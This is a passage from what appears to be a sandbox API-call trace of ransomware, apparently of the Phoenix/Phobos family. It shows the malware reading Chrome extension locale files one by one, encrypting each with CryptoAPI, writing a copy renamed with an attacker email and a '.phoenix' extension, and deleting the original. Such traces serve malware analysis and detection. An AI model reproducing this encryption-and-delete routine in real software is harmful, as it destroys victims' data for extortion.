	[0261.381] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_GB\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_gb\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0261.381] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151540) returned 1
	[0261.381] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.381] ReadFile (in: hFile=0x310, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xb2, lpOverlapped=0x0) returned 1
	[0261.382] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc0, dwBufLen=0xc0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc0) returned 1
	[0261.382] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xc0, lpOverlapped=0x0) returned 1
	[0261.383] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1515c0) returned 1
	[0261.383] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.383] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0261.383] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0261.384] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0261.384] CryptDestroyKey (hKey=0x151540) returned 1
	[0261.384] CloseHandle (hObject=0x310) returned 1
	[0261.384] CloseHandle (hObject=0x2c0) returned 1
	[0261.384] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_gb\\messages.json")) returned 1
	[0261.385] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0261.385] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_us\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0261.385] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=265) returned 1
	[0261.385] CloseHandle (hObject=0x2c0) returned 1
	[0261.385] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_us\\messages.json")) returned 0x20
	[0261.386] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_US\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_us\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.386] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_us\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0261.386] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.386] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.386] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_US\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_us\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.386] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1517c0) returned 1
	[0261.386] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.386] ReadFile (in: hFile=0x2c0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x109, lpOverlapped=0x0) returned 1
	[0261.387] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110, dwBufLen=0x110 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110) returned 1
	[0261.387] WriteFile (in: hFile=0x310, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x110, lpOverlapped=0x0) returned 1
	[0261.389] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151180) returned 1
	[0261.389] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.389] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0261.389] CryptDestroyKey (hKey=0x151180) returned 1
	[0261.389] WriteFile (in: hFile=0x310, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0261.437] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0261.437] CloseHandle (hObject=0x2c0) returned 1
	[0261.437] CloseHandle (hObject=0x310) returned 1
	[0261.437] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_us\\messages.json")) returned 1
	[0261.438] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0261.438] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.439] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=204) returned 1
	[0261.439] CloseHandle (hObject=0x310) returned 1
	[0261.439] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es\\messages.json")) returned 0x20
	[0261.439] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.439] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.439] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.439] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.439] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0261.440] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151100) returned 1
	[0261.440] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.440] ReadFile (in: hFile=0x310, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xcc, lpOverlapped=0x0) returned 1
	[0261.441] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xd0, dwBufLen=0xd0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xd0) returned 1
	[0261.441] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xd0, lpOverlapped=0x0) returned 1
	[0261.442] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151340) returned 1
	[0261.442] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.442] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0261.442] CryptDestroyKey (hKey=0x151340) returned 1
	[0261.442] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0261.443] CryptDestroyKey (hKey=0x151100) returned 1
	[0261.443] CloseHandle (hObject=0x310) returned 1
	[0261.443] CloseHandle (hObject=0x2c0) returned 1
	[0261.443] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es\\messages.json")) returned 1
	[0261.444] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0261.445] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es_419\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0261.445] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=227) returned 1
	[0261.445] CloseHandle (hObject=0x2c0) returned 1
	[0261.445] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es_419\\messages.json")) returned 0x20
	[0261.445] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es_419\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es_419\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.446] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es_419\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0261.446] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.446] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.446] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es_419\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es_419\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.446] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151100) returned 1
	[0261.446] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.446] ReadFile (in: hFile=0x2c0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xe3, lpOverlapped=0x0) returned 1
	[0261.447] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xf0, dwBufLen=0xf0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xf0) returned 1
	[0261.447] WriteFile (in: hFile=0x310, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf0, lpOverlapped=0x0) returned 1
	[0261.448] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151540) returned 1
	[0261.448] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.448] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0261.448] CryptDestroyKey (hKey=0x151540) returned 1
	[0261.448] WriteFile (in: hFile=0x310, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0261.448] CryptDestroyKey (hKey=0x151100) returned 1
	[0261.448] CloseHandle (hObject=0x2c0) returned 1
	[0261.448] CloseHandle (hObject=0x310) returned 1
	[0261.449] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es_419\\messages.json")) returned 1
	[0261.449] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0261.449] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\et\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\et\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.450] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=212) returned 1
	[0261.450] CloseHandle (hObject=0x310) returned 1
	[0261.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\et\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\et\\messages.json")) returned 0x20
	[0261.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\et\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\et\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.450] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\et\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\et\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.450] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.451] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.451] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\et\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\et\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0261.451] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151340) returned 1
	[0261.451] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.451] ReadFile (in: hFile=0x310, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xd4, lpOverlapped=0x0) returned 1
	[0261.452] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xe0, dwBufLen=0xe0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xe0) returned 1
	[0261.452] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xe0, lpOverlapped=0x0) returned 1
	[0261.453] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151100) returned 1
	[0261.453] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.453] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0261.453] CryptDestroyKey (hKey=0x151100) returned 1
	[0261.453] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
